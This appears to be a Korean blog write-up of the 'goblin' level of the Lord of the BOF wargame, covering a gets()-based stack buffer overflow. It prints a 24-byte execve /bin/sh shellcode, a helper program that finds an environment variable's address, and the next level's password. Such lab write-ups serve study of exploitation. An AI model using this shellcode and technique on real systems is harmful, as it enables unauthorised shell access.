0x02 Study :)/Pwnable
[LOB] Level3: cobolt → goblin (renew)
eli_ez3r
2018. 8. 28. 14:12
goblin
keyword : BoF+env+argv
/* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); }
0x01. Static Analysis
앞서 문제 cobolt와 다른점은 cobolt에서는 main함수의 argv로 입력값을 받았다면, 지금 문제는 gets를 이용하여 문제를 받는다. 따라서 값을 넘겨주는 방식의 차이만 있을 뿐 앞 문제와 풀이 과정은 동일하다.
0x02. Dynamic Analysis & Exploit
cobolt 문제와 동일하게 환경변수에 쉘코드를 넣고 문제를 풀어보자.
shell(24byte) = \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
EUNICE 환경변수에 NOP슬라이드와 쉘코드를 넣는다.
//env.c main(){ printf("%08x\n", getenv("EUNICE") ); }
EUNICE 환경변수의 주소를 구하는 프로그램을 만들어서
EUNICE환경변수의 주소를 구해온다. (0xbffffc33)
goblin / hackers proof